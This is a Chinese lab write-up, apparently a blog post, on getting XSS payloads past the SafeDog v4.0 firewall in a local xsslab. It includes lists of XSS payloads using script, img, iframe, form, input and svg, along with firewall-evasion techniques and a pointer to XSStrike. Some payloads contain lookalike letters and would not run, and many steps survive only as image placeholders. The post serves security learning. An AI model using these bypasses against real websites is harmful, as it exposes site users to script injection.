参考:
https://mp.weixin.qq.com/s/P2AX2ebnzaCw-NoNwLwIRA
网站安全狗最新v4.0群内已经准备好
image-20240722104320515
这里用xsslab进行waf绕过测试
image-20240722102257861
还是一样安全狗waf测试
http://192.168.209.149/level1.php?name=<script>alert("hellow world")</script>
image-20240722102220534
php
<?php
echo "<script>alert(1)</script>";
?>
img
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(xss));'>
<img src="x" onerror=alert(1)>
<img src="x" οnerrοr=eval("alert('xss')")>
<img src=x οnmοuseοver=alert('xss')>
css
<img STYLE="background-image:url(javascript:alert('XSS'))">
form
XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? οnmοuseοver=prompt('xss')>
<form method=post action=aa.asp? οnmοuseοver=alert('xss')>
<form action=1 οnmοuseοver=alert('xss')>
input
<input name="name" value="">
<input value="" οnclick=alert('xss') type="text">
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
iframe
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
<iframe src="javascript:prompt(`xss`)"></iframe>
经过测试以上内容皆执行不了,但是还有一个svg没测试
svg!成功了一个,看来v4.0的安全狗没有对svg进行防护,payload如下
<svg onload=alert(1)>
image-20240722103703228
1.大小写绕过
<sCript>alert(1)</Script>
image-20240722130044000
2、双写绕过
image-20240722130917202
3、img
image-20240722130953046
4、onmouseover事件
<a onmousemove="do something here">
当用户鼠标移动时即可运行代码image-20240722131108228
<div onmouseover="do something here">
当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行)image-20240722131353856
5、onclick事件
button
image-20240722131709995
6、onload事件
例如
<svg onload=alert(1)>
之前已经测试过了,svg的onoad事件可以
7、编码脚本绕过关键字
image-20240722132223214
8、主动闭合标签实现注入代码
image-20240722134140300
9、绕过HTML注释符
image-20240722134616530
10、利用换行符绕过
image-20240722134745914
11、绕过右标签
image-20240722134807050
12、绕过</内容>
image-20240722134857902
image-20240722135712030
这个时候直接一个一个去访问即可
image-20240722141703806
这里我们找到一个iframe的payload,尝试访问,成功加载,但是看源码,标签没有闭合
image-20240722141540870
我们在url中闭合这个标签,就可以了
image-20240722141917556
在默认配置下,为了节省资源,许多WAF只会对GET请求进行过滤拦截,而忽略了对POST请求、Cookie、HTTP Header等其他提交方式的检测。因此,攻击者可以尝试更改有害语句的提交方式,如将GET请求修改为POST请求,或者通过Cookie、HTTP Header等方式提交恶意脚本,以绕过WAF的拦截。
混淆伪装是一种常见的绕过WAF的手段,攻击者通过编码、大小写混淆、双写、转义字符等方式对恶意脚本进行伪装,使其绕过WAF的关键词过滤规则。例如,将JavaScript代码中的关键字进行大小写混淆(如<scriPT>
),或者使用Unicode编码
、Base64编码
等方式对代码进行编码。
XSS攻击主要是通过触发HTML标签中的事件函数来执行恶意脚本。因此,WAF会重点识别能够触发事件函数的HTML标签和事件函数字段。攻击者可以尝试使用其他可以执行JavaScript代码的HTML标签(如<svg>
, <button>
, <img>
等)替换常用的<script>
标签,或者使用其他事件函数(如onerror
, oninput
, onmousedown
等)替换常用的onclick
事件函数,以绕过WAF的拦截。
自动化工具如XSStrike
等可以帮助攻击者自动测试WAF的防护效果,并生成绕过WAF的payload。这些工具通常包含多种绕过WAF的技巧和策略,可以显著提高攻击的成功率。
❝ XSStrike开源地址:https://github.com/s0md3v/XSStrike ❞
javascript:
),攻击者可以利用这些属性执行恶意脚本。expression()
)执行JavaScript代码。eval()
, window.onload
等)可以在不直接引用脚本标签的情况下执行代码,攻击者可以尝试利用这些变量和函数绕过WAF的防护。这里我就拿标签事件函数变换来举例、首先判断标签名称,是否可用比如iframe
,它可以正常访问,说明<iframe>
标签没有进行过滤
http://192.168.209.149/level1.php?name=<iframe>
image-20240722143819570
标签没有进行过滤,尝试闭合这个标签,ok正常访问
image-20240722144155301
判断属性src,好没有过滤
image-20240722144230962
加了个=
就被拦截了,这时候没法继续了,换个事件试试
image-20240722144259675
image-20240722144611518
这里拿onload尝试
image-20240722144645731
❝ 需要注意的是,以上绕过WAF的思路和技巧仅供学习和研究网络安全使用,不得用于非法攻击和破坏活动。在实际应用中,网站管理员和WAF开发者应不断更新和完善WAF的防护策略,提高网站的安全性。 ❞
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。